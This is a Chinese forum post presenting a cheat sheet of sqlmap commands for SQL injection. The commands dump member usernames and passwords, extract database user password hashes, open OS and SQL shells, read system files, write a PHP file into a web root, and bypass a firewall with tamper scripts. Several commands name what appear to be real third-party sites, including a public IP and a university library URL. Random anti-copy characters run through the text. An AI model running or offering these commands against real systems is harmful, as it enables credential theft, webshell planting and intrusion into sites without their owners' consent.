找回密码
 立即注册
查看: 3270|回复: 0
打印 上一主题 下一主题

sqlmap使用实例

[复制链接]
跳转到指定楼层
楼主
发表于 2017-5-19 17:03:10 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/pentest/database/sqlmap, r' f- s( w; ~3 O, L" ^
0 Z. v% l7 p2 x. C9 ?: r
update :::::>     in the folder   after  execute    following   order : svn update
# u2 r3 v& ~- z; \+ p
: Z8 m" J/ k  x7 hsqlmap.py -r 1.txt --current-db
, n8 c- S5 M$ D% x4 ]
! h- @5 @# T* L3 N" F5 Nv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”4 ?. l1 X- m3 F4 r
# M* c9 z& k( F& b' N
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) " ^9 K/ b7 X. |$ A
猜解数据库
) n/ l  f/ n; p./sqlmap.py -u "injection-url" --dbs9 D9 K2 U! q' s8 r+ n
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
7 Q; S( Z) A7 }; d( Y0 L% Y8 Q" H' D" c
猜解表名
8 Q6 g$ V* s9 \* I% `; l( U./sqlmap.py -u "injection-url" -D database_name --tables3 @2 h* Y( {) D' x- Y# b; S/ ^- Q

  L1 D2 w' Y, fsqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
; ?; c2 p  Z: ?) Y* R) [sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
- l% G- c! O4 ^  I1 x; r
, e6 I; X9 W3 h; b9 ~% [/ Psqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump- a/ {4 w+ e3 z* K; W
2 S5 B: d( H% K$ U- m
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"' x5 G% \2 g$ S- ?2 o( b$ R
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"7 p; @$ @4 A( G! l+ q0 z
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" % |" z4 `6 Y3 k/ U- t
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
  b9 |  X' L( s- _
: X0 X, U! L& U1 F- Esqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
! r9 G8 s0 |6 msqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"7 V: L9 [) @+ U8 ~+ J
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
/ B* J  n. `# g7 B7 lsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
/ }5 J: c, {/ U$ hsqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
/ Y6 E# h+ T' y7 c* h; w9 T+ ^
8 W7 f' {. y6 f+ O, osqlmap.py -r 1.txt -v 3 --dbs  --batch --tamper "space2morehash.py" 绕过防火墙了
$ C' _: H& T* t/ ?sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"7 H& B/ t+ ~- ~' a) a/ p5 P( D/ h) E
! t9 x3 \$ [( v- ~0 t5 g
sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"6 H& G9 K  s2 N4 R- F
猜解列名! M# ^  f* f2 @2 i# S  |
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns3 J! X  E0 N: L" f: e4 F- f
4 T, l  C8 w7 d( x
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py"
9 R3 D1 r& H6 C* F7 x/ z8 C  B9 Jsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
& X. M* R& T, z5 r' \: Hsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
2 Z1 }6 z& d, S. W" t0 r0 A+ V. l3 a$ k1 k- B# [- }
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
4 T; Z8 P9 {0 }, r- L  @& ^0 K2 k&submit=Go  U! i, F: }* l. l
猜解值. X6 A4 a* `% I& _5 G
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump% `* A2 N! @9 O, N6 n
========================================================
( O; S5 v2 ?8 X: z! j搜索表名中包括mana字符的4 Q( h' a" c" s1 s5 X5 q
/sqlmap.py -u "injection-url" -T mana --search0 t( X0 s3 M/ H- g% l! [3 j
返回一个交互式sql shell1 m6 E( c9 }, z' K7 E
/sqlmap.py -u "injection-url" --sql-shell( ]7 p- \. t6 P+ K, l% v( f0 W3 j+ n
读取指定文件(需权限)9 }+ D/ @6 n7 t
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"
( O  h+ A- j0 t查看当前 用户 及 数据库
8 |" m7 F! T" y, o: F# k  J1 Q/sqlmap.py -u "injection-url" --current-user --current-db
/ q% U- k8 T, f$ Z9 F本地文件 写入 远程目标绝对路径6 @$ Y0 F; j/ [: r+ i: y
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径! {' b- B8 l( P9 I7 u
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" " ~, P) E0 y) p1 R4 o6 |, z

% e: Q. h8 g  S4 e8 {) x0 q, lsqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
) A/ u+ V& C5 t  Z查看某用的权限7 n2 K& f7 o6 p, l' N
/sqlmap.py -u "injection-url" --privileges -U root
; ~( y2 O( i+ m, o查看当前用户是否为dba0 Q6 d9 }  Y. T+ w
/sqlmap.py -u "injection-url" --is-dba( @  w$ Z2 s- o6 P+ A. S
读取所有数据库用户或指定数据库用户的密码
. x" f5 I0 `4 T1 M; X* I) rsqlmap.py -r 1.txt --users --passwords$ ^& L" D& Y! P, }% e5 R& V* K, P( F
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 9 M3 p2 E# M% x0 G  L6 k
, ~, C, Q3 c" N  V/ G0 j
/sqlmap.py -u "injection-url" --passwords -U root
( `$ F6 d; v9 h9 j' u/ |7 c2 Q5 L' [( Z2 |7 a
--start&&--stop 与 --first&&--last 的区别3 W2 i8 [  d# L" N% x2 U4 S
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump   (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
8 ~& H: m# a9 l0 |, Q, ?; T2 n
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
+ c  b( X; P" \5 C9 z9 K0 R& \& C/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
1 O+ H' |& m" q  i& t5 B( f/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns6 w5 |9 A' x$ N

3 J% ^' i' K* Q  E& U' T执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)9 d' Y: z9 P& H6 z) i( Q0 O9 Y8 u
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
; B) U( b, l( D; f/ p# {2 I7 U9 W, L7 l( ?% I6 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表